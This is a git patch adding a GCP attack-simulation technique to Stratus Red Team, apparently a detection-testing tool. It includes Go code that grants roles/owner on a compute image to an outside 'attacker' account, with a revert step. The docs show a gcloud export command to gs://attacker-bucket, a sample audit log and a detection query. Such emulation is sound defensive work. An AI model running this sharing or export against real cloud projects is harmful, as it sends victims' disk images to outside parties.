From ff3e95e436f80ccb132b132faa8a08a7fe643133 Mon Sep 17 00:00:00 2001 From: Vincent Thiery Date: Wed, 29 Nov 2023 14:51:20 +0100 Subject: [PATCH] feat(GCP): Exfiltrates a Compute Image by sharing it (#440) * wip * feat(GCP): Exfiltrates a Compute Image by sharing it * fixup! feat(GCP): Exfiltrates a Compute Image by sharing it * fixup! fixup! feat(GCP): Exfiltrates a Compute Image by sharing it --- .../gcp.exfiltration.share-compute-image.md | 99 ++++++++++ docs/attack-techniques/GCP/index.md | 2 + docs/attack-techniques/list.md | 1 + docs/index.yaml | 7 + .../exfiltration/share-compute-image/main.go | 182 ++++++++++++++++++ .../exfiltration/share-compute-image/main.tf | 28 +++ v2/internal/attacktechniques/main.go | 1 + 7 files changed, 320 insertions(+) create mode 100755 docs/attack-techniques/GCP/gcp.exfiltration.share-compute-image.md create mode 100644 v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.go create mode 100644 v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.tf diff --git a/docs/attack-techniques/GCP/gcp.exfiltration.share-compute-image.md b/docs/attack-techniques/GCP/gcp.exfiltration.share-compute-image.md new file mode 100755 index 00000000..e4da0e70 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.exfiltration.share-compute-image.md @@ -0,0 +1,99 @@ +--- +title: Exfiltrate Compute Image by sharing it +--- + +# Exfiltrate Compute Image by sharing it + + slow + idempotent + +Platform: GCP + +## MITRE ATT&CK Tactics + + +- Exfiltration + +## Description + + +Exfiltrates a Compute Image by sharing with a fictitious attacker account. The attacker could then create a snapshot of the image in their GCP project. + +Warm-up: + +- Create a Compute Image + +Detonation: + +- Set the IAM policy of the image so that the attacker account has permissions to read the image in their own project + +!!! note + + Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to stratusredteam@gmail.com by default. + This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override + this behavior by setting the environment variable STRATUS_RED_TEAM_ATTACKER_EMAIL, for instance: + + ```bash + export STRATUS_RED_TEAM_ATTACKER_EMAIL="your-own-gmail-account@gmail.com" + stratus detonate gcp.exfiltration.share-compute-image + ``` + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.exfiltration.share-compute-image +``` +## Detection + + +You can detect when someone changes the IAM policy of a Compute Image, using the GCP Admin Activity audit logs event v1.compute.images.setIamPolicy. Here's a sample event, shortened for clarity: + +```json hl_lines="18 20 25"" +{ + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "authenticationInfo": { + "principalEmail": "user-sharing-the-image@domain.tld", + "principalSubject": "user:user-sharing-the-image@domain.tld" + }, + "requestMetadata": { + "callerIp": "34.33.32.31", + "callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." + }, + "resourceName": "projects/victim-project/global/images/stratus-red-team-victim-image", + "request": { + "policy": { + "version": "3", + "bindings": [ + { + "role": "roles/owner", + "members": [ + "user:attacker@gmail.com" + ] + } + ] + }, + "@type": "type.googleapis.com/compute.images.setIamPolicy" + } + } +} +``` + +After the attacker has permissions on the Compute Image, they can export it in their own GCP Storage using: + +```bash + gcloud compute images export \ + --destination-uri gs://attacker-bucket/victim-image \ + --image stratus-red-team-victim-image +``` + +Based on this event, detection strategies may include: + +- Alerting when the IAM policy of a Compute Image is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: + +```sql +protoPayload.methodName="v1.compute.images.setIamPolicy" +``` + + diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index d5001b58..1524ff69 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -8,6 +8,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Exfiltrate Compute Disk by sharing it](./gcp.exfiltration.share-compute-disk.md) +- [Exfiltrate Compute Image by sharing it](./gcp.exfiltration.share-compute-image.md) + - [Exfiltrate Compute Disk by sharing a snapshot](./gcp.exfiltration.share-compute-snapshot.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index b045d586..2c8b9017 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -45,6 +45,7 @@ This page contains the list of all Stratus Attack Techniques. | [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution | | [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration | | [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration | +| [Exfiltrate Compute Image by sharing it](./GCP/gcp.exfiltration.share-compute-image.md) | [GCP](./GCP/index.md) | Exfiltration | | [Exfiltrate Compute Disk by sharing a snapshot](./GCP/gcp.exfiltration.share-compute-snapshot.md) | [GCP](./GCP/index.md) | Exfiltration | | [Backdoor a GCP Service Account through its IAM Policy](./GCP/gcp.persistence.backdoor-service-account-policy.md) | [GCP](./GCP/index.md) | Persistence | | [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation | diff --git a/docs/index.yaml b/docs/index.yaml index 15588f27..41e62f6e 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -295,6 +295,13 @@ GCP: - Exfiltration platform: GCP isIdempotent: true + - id: gcp.exfiltration.share-compute-image + name: Exfiltrate Compute Image by sharing it + isSlow: true + mitreAttackTactics: + - Exfiltration + platform: GCP + isIdempotent: true - id: gcp.exfiltration.share-compute-snapshot name: Exfiltrate Compute Disk by sharing a snapshot isSlow: false diff --git a/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.go b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.go new file mode 100644 index 00000000..fcab4bbb --- /dev/null +++ b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.go @@ -0,0 +1,182 @@ +package gcp + +import ( + compute "cloud.google.com/go/compute/apiv1" + "context" + computepb "google.golang.org/genproto/googleapis/cloud/compute/v1" + "log" + + _ "embed" + "fmt" + "github.com/datadog/stratus-red-team/v2/internal/providers" + gcp_utils "github.com/datadog/stratus-red-team/v2/internal/utils/gcp" + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" +) + +//go:embed main.tf +var tf []byte + +const codeBlock = "```" +const AttackTechniqueId = "gcp.exfiltration.share-compute-image" + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: AttackTechniqueId, + FriendlyName: "Exfiltrate Compute Image by sharing it", + IsSlow: true, + Description: ` +Exfiltrates a Compute Image by sharing with a fictitious attacker account. The attacker could then create a snapshot of the image in their GCP project. + +Warm-up: + +- Create a Compute Image + +Detonation: + +- Set the IAM policy of the image so that the attacker account has permissions to read the image in their own project + +!!! note + + Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + gcp_utils.DefaultFictitiousAttackerEmail + ` by default. + This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override + this behavior by setting the environment variable ` + gcp_utils.AttackerEmailEnvVarKey + `, for instance: + + ` + codeBlock + `bash + export ` + gcp_utils.AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" + stratus detonate ` + AttackTechniqueId + ` + ` + codeBlock + ` +`, + Detection: ` +You can detect when someone changes the IAM policy of a Compute Image, using the GCP Admin Activity audit logs event v1.compute.images.setIamPolicy. Here's a sample event, shortened for clarity: + +` + codeBlock + `json hl_lines="18 20 25"" +{ + "protoPayload": { + "@type": "type.googleapis.com/google.cloud.audit.AuditLog", + "authenticationInfo": { + "principalEmail": "user-sharing-the-image@domain.tld", + "principalSubject": "user:user-sharing-the-image@domain.tld" + }, + "requestMetadata": { + "callerIp": "34.33.32.31", + "callerSuppliedUserAgent": "google-cloud-sdk gcloud/..." + }, + "resourceName": "projects/victim-project/global/images/stratus-red-team-victim-image", + "request": { + "policy": { + "version": "3", + "bindings": [ + { + "role": "roles/owner", + "members": [ + "user:attacker@gmail.com" + ] + } + ] + }, + "@type": "type.googleapis.com/compute.images.setIamPolicy" + } + } +} +` + codeBlock + ` + +After the attacker has permissions on the Compute Image, they can export it in their own GCP Storage using: + +` + codeBlock + `bash + gcloud compute images export \ + --destination-uri gs://attacker-bucket/victim-image \ + --image stratus-red-team-victim-image +` + codeBlock + ` + +Based on this event, detection strategies may include: + +- Alerting when the IAM policy of a Compute Image is changed, especially if such a sharing mechanism is not part of your normal operations. Sample GCP Logs Explorer query: + +` + codeBlock + `sql +protoPayload.methodName="v1.compute.images.setIamPolicy" +` + codeBlock + ` +`, + Platform: stratus.GCP, + IsIdempotent: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Exfiltration}, + Detonate: detonate, + Revert: revert, + PrerequisitesTerraformCode: tf, + }) +} + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + imageName := params["image_name"] + attackerPrincipal := gcp_utils.GetAttackerPrincipal() + + log.Println("Exfiltrating " + imageName + " by sharing it with a fictitious attacker") + err := shareImage(context.Background(), gcp, imageName, attackerPrincipal) + if err != nil { + return fmt.Errorf("failed to share image: %w", err) + } + log.Println("Successfully shared image with a fictitious attacker account " + attackerPrincipal) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + gcp := providers.GCP() + imageName := params["image_name"] + + log.Println("Unsharing " + imageName) + if err := unshareImage(context.Background(), gcp, imageName); err != nil { + return fmt.Errorf("unable to unshare image: %w", err) + } + log.Println("Successfully unshared the image - it is now private again") + return nil +} + +func shareImage(ctx context.Context, gcp *providers.GCPProvider, imageName string, targetPrincipal string) error { + imageClient, err := compute.NewImagesRESTClient(ctx, gcp.Options()) + if err != nil { + return fmt.Errorf("unable to create compute client: %w", err) + } + + roleName := "roles/owner" + + _, err = imageClient.SetIamPolicy(ctx, &computepb.SetIamPolicyImageRequest{ + Resource: imageName, + Project: gcp.GetProjectId(), + GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ + Policy: &computepb.Policy{ + Bindings: []*computepb.Binding{ + { + Members: []string{targetPrincipal}, + Role: &roleName, + }, + }, + }, + }, + }) + if err != nil { + return fmt.Errorf("unable to set iam policy: %w", err) + } + return nil +} + +func unshareImage(ctx context.Context, gcp *providers.GCPProvider, imageName string) error { + imageClient, err := compute.NewImagesRESTClient(ctx, gcp.Options()) + if err != nil { + return fmt.Errorf("unable to create compute client: %w", err) + } + + _, err = imageClient.SetIamPolicy(ctx, &computepb.SetIamPolicyImageRequest{ + Resource: imageName, + Project: gcp.GetProjectId(), + GlobalSetPolicyRequestResource: &computepb.GlobalSetPolicyRequest{ + Policy: &computepb.Policy{ + Bindings: []*computepb.Binding{}, + }, + }, + }) + if err != nil { + return fmt.Errorf("unable to set iam policy: %w", err) + } + return nil +} diff --git a/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.tf b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.tf new file mode 100644 index 00000000..ccb0fef1 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image/main.tf @@ -0,0 +1,28 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 4.28.0" + } + } +} + +locals { + image-name = "stratus-red-team-victim-image" +} + +resource "google_compute_image" "this" { + name = local.image-name + + raw_disk { + source = "https://storage.googleapis.com/bosh-gce-raw-stemcells/bosh-stemcell-97.98-google-kvm-ubuntu-xenial-go_agent-raw-1557960142.tar.gz" + } +} + +output "image_name" { + value = google_compute_image.this.name +} + +output "display" { + value = format("Compute image %s is ready", google_compute_image.this.name) +} diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 60f24147..7da0853a 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -37,6 +37,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-image" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-snapshot" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account"